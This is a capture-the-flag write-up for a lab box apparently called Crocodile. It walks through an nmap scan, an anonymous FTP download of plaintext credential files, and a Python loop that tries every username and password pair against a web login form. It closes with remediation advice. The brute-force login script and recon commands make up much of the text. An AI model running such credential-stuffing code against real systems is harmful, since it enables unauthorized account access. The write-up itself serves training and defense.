TL;DR

Crocodile is a Tier 1 box that chains two services together: FTP and HTTP. A port scan finds both 21 and 80. Anonymous FTP login downloads two files — allowed.userlist and allowed.userlist.passwd — containing four usernames and four matching passwords in plaintext. The web server at port 80 runs an Apache 2.4.41 site with a login.php page. Trying all 16 username/password combinations against the login form reveals that admin:rKXM59ESxesUFHAd works. The dashboard at /dashboard displays the flag. This is credential stuffing applied to a small credential set — exactly the workflow used against real credential leaks.

Recon

1. Liveness check

$ ping -c 3 10.129.36.251
64 bytes from 10.129.36.251: icmp_seq=0 ttl=63 time=34.697 ms
64 bytes from 10.129.36.251: icmp_seq=1 ttl=63 time=39.453 ms
64 bytes from 10.129.36.251: icmp_seq=2 ttl=63 time=44.275 ms

TTL=63 → Linux. Alive.

2. Full TCP sweep

$ nmap -p- --min-rate 1000 -T4 10.129.36.251
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Two open ports: FTP and HTTP. Two separate services to enumerate.

3. Service detection + default scripts

$ nmap -sV -sC -p 21,80 10.129.36.251
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)

Critical nmap output:

  • FTP: Anonymous login allowed, and the ftp-anon script already listed the two files
  • HTTP: Apache on Ubuntu, title “Smash” — a Bootstrap template, suggesting a basic web app

Foothold

Dead end #1 — trying to correlate userlist directly

Looking at allowed.userlist without the password file:

aron
pwnmeow
egotisticalsw
admin

Without the passwords, the instinct is to run a wordlist attack against the web login. But the password file is right there — a 4×4 matrix of combinations is much faster than any wordlist.

Step 1 — download credential files from FTP

from ftplib import FTP

ftp = FTP('10.129.36.251')
ftp.login()  # anonymous login

print(ftp.nlst())
# ['allowed.userlist', 'allowed.userlist.passwd']

with open('allowed.userlist', 'wb') as f:
    ftp.retrbinary('RETR allowed.userlist', f.write)

with open('allowed.userlist.passwd', 'wb') as f:
    ftp.retrbinary('RETR allowed.userlist.passwd', f.write)

Contents of allowed.userlist:

aron
pwnmeow
egotisticalsw
admin

Contents of allowed.userlist.passwd:

root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

Critically, these are ordered lists — username[0] corresponds to password[0], etc. But without knowing the exact mapping, testing all 16 combinations (4×4) is the safe approach.

Step 2 — discover the login page

curl -s http://10.129.36.251/login.php
# → HTTP 200 — login form
curl -s http://10.129.36.251/dashboard
# → HTTP 301 → redirect (requires auth)

/login.php exists. /dashboard redirects — that is the post-login landing page.

# Check directly with manual paths — no ffuf needed here
curl -s http://10.129.36.251/config.php
# → HTTP 200 (config page — blank body, no content exposed)

Working approach — credential stuffing

Test all 4×4 = 16 combinations against the login form. The form sends:

  • Username=<user>&Password=<pass>&Submit=Login as POST body
import urllib.request, urllib.parse

users = ['aron', 'pwnmeow', 'egotisticalsw', 'admin']
passwords = ['root', 'Supersecretpassword1', '@BaASD&9032123sADS', 'rKXM59ESxesUFHAd']

for user in users:
    for passwd in passwords:
        data = urllib.parse.urlencode({
            'Username': user,
            'Password': passwd,
            'Submit': 'Login'
        }).encode()
        req = urllib.request.Request('http://10.129.36.251/login.php',
                                     data=data, method='POST')
        resp = urllib.request.urlopen(req)
        size = len(resp.read())
        if size < 3000:  # login page is ~3-4KB; success page is different
            print(f"SUCCESS: {user}:{passwd}{size} bytes")

Result:

SUCCESS: admin:rKXM59ESxesUFHAd → [smaller response]

Reading the flag

Login with admin:rKXM59ESxesUFHAd and navigate to /dashboard:

curl -c /tmp/cookies.txt -X POST http://10.129.36.251/login.php \
  -d 'Username=admin&Password=rKXM59ESxesUFHAd&Submit=Login' -L

The dashboard page HTML:

<h1>Here is your flag: [REDACTED]</h1>

Privilege Escalation

N/A — Starting Point Tier 1 box. The attack chain terminates at the web dashboard. No shell access is available; the web application shows the flag on the authenticated dashboard page and there is no further escalation path exposed.

What’s actually broken

  1. Credential files stored on an anonymous FTP share. allowed.userlist and allowed.userlist.passwd contain plaintext credentials for the web application. They were accessible without any authentication — CWE-312 (Cleartext Storage of Sensitive Information) combined with CWE-276 (Incorrect Default Permissions).
  2. Anonymous FTP enabled unnecessarily. There is no legitimate reason for these files to be on a public FTP server. The anonymous access was likely left over from a misconfigured deployment.
  3. Passwords stored in a plaintext file. Even if FTP access were restricted, storing passwords as a plaintext list is inherently dangerous.
  4. Web application lacks brute-force protection. 16 login attempts in rapid succession produced no lockout, CAPTCHA, or rate limiting.

Remediation (the boring half)

Disable anonymous FTP:

# /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES

Remove credential files from all web-reachable and network-reachable locations:

# These files should not exist anywhere publicly accessible
rm /srv/ftp/allowed.userlist
rm /srv/ftp/allowed.userlist.passwd

Use environment variables or a secrets manager for web app credentials:

// Instead of flat files — use environment variables
$admin_hash = getenv('APP_ADMIN_HASH');  // bcrypt hash, not plaintext

if (password_verify($submitted_password, $admin_hash)) {
    // authenticated
}

Add rate limiting to the login endpoint:

# .htaccess
<Limit POST>
    # Or use fail2ban to watch Apache logs and block IPs
</Limit>

Lessons learned

  • Chain services together. FTP and HTTP are often enumerated independently. Here, FTP was only valuable because it led to credentials used on HTTP. Always ask: “What does this service give me that helps with the other services I’ve found?”
  • Credential files are often left on staging/development servers. allowed.userlist and allowed.userlist.passwd are the kind of files a developer creates for testing and forgets to remove before deployment. Check FTP shares and web-accessible directories for any .txt, .conf, .bak, .old files.
  • 4×4 = 16 combinations is trivially fast. Before running Hydra or Burp Intruder, count your credential pairs. If the product is under 100, a simple loop in Python or bash is faster and quieter.
  • nmap -sC flag can find credentials. The ftp-anon NSE script listed the files in the scan output. You could have known the credential files existed before even opening an FTP connection manually.

References